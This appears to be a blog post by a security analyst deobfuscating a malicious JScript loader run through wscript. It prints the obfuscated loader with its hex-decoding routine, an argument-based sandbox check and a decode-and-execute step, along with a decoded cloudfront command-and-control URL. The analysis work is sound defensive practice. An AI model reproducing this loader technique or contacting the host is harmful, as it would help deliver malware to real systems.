Examining strange wscript behavior

We use cylance with script control, and periodically I review the outliers that have been blocked. I came across this one recently:

wscript.exe "C:\ProgramData{18E0DD83-92A2-5745-1464-C9078E2642C9}\domo.txt" "68747470733a2f2f643237346571343163333972326e2e636c6f756466726f6e742e6e6574" "//B" "//E:jscript" "--IsErIk"

I took a copy of the domo.txt script and uploaded to VT:

I also ran that hex string through a hex decoder:

68747470733a2f2f643237346571343163333972326e2e636c6f756466726f6e742e6e = https://d274eq41c39r2n.cloudfront.net

According to the wscript documentation, the flag /e:jscript will allow the wscript interpreter to run the file domo.txt as jscript. The contents appear encoded or obfuscated. The /b argument will make it run noninteractively. I’m assuming the –iserik is passed to the subsequent script?

strings:

*/function fySxqeCS(){var SYBkWxQw=WScript;var uDoH="";if(SYBkWxQw.Arguments.length>0&&SYBkWxQw.Arguments(SYBkWxQw.Arguments.length-1).charAt(7) == 'k')uDoH="66 
320".toString();var IMA="";var XltLF=0;while(XltLF<uDoH.length){IMA+=String.fromCharCode(parseInt(uDoH.substr(XltLF,2),1
6));XltLF+=2;XltLF+=IMA.charCodeAt(IMA.length-1)%4}(new Function(IMA))()}fySxqeCS();/*

Googling a bit finds a BAH article classifying this as APA. It looks pretty much identical. The article doesn’t decode the script so maybe I can find out a bit more…

I tried using FlareVM run it interactively with a debugger, but that didn’t prove as easy as running the contents through node.js. Maybe I’ll come back to that later.

Let’s look at the contents:

Wait, is that a /* at the beginning? Let’s see if there’s a closing comment

Yep, sure enough. If you look for the complimentary */ you’ll see this:

¯áЫçéË*/function fySxqeCS()

Getting closer, there’s a comment towards the end as well. After removing them, it looks like this:

Which is still suboptimal. Next, we copy to a new file & rename to .js. Sublime text takes care of prettifying it a bit for us.

Starting to look readable

The argument uDoH is still quite obfuscated, and it looks like there’s some decoding function. The malware authors have also tried to prevent this code from running in a sandbox (it expects to run in WScript and with an argument of ‘k’ at the 8th position (part of –IsErik). That can be commented out for further analysis.

In addition, it looks like it runs the subsequent decoded output in a variable called IMA. That function call needs to be removed & instead we print the contents to the console. Here’s almost how it looks. The uDoH had to be trimmed quite a bit to fit in this textbox:

function fySxqeCS() {
// var SYBkWxQw = WScript;
var uDoH = "";
//if (SYBkWxQw.Arguments.length > 0 && SYBkWxQw.Arguments(SYBkWxQw.Arguments.length - 1).charAt(7) == 'k')
uDoH = "66 ¦75 2c7abü2829œ7c7c65æ2822 22é 29ï29 29ô2c65£2822 ý22Êö29ƒ7dè63ß9™61Ì74 <SNIPPED> 9Æ7bº€ÿ65 2822„¶22§å29 7d 7d 4d 61Ã69 6eb52829é3b Á320".toString();
var IMA = "";
var XltLF = 0;
while (XltLF < uDoH.length) {
IMA += String.fromCharCode(parseInt(uDoH.substr(XltLF, 2), 16));
XltLF += 2;
XltLF += IMA.charCodeAt(IMA.length - 1) % 4
}
console.log(IMA)
//(new Function(IMA))()
}
fySxqeCS();
node initial.js > initial2.js
Still some obfuscation, but much better than the original source

Ok now we’re getting somewhere. I’m going to try to run it through some sort of callgraph visualization.

Looks like they’re all in use

Ok so we need to step through these & rename them so we better understand what’s happening.

Function f looks like some sort of decoding function, let’s run it:

function f(b) 
{
b = b.toString();
console.log(b)
for (var a = "", c = 0; c < b.length; c += 2) a += String.fromCharCode(parseInt(b.substr(c, 2), 16));
console.log(a)
return a
}
u();
node e.js 
536372697074696e672e46696c6553797374656d4f626a656374
Scripting.FileSystemObject

I’ll rename that function to DecodeString and re-run the callgraph visualization:

Lots of DecodeString called here

It looks like this is about the limit of my knowledge.. I’m going to try to analyze it a bit more, but for now I’m satisfied that it’s malicious. What I need to find are some specific IOCs and generate some GRR flows / splunk queries to search for these IOCs.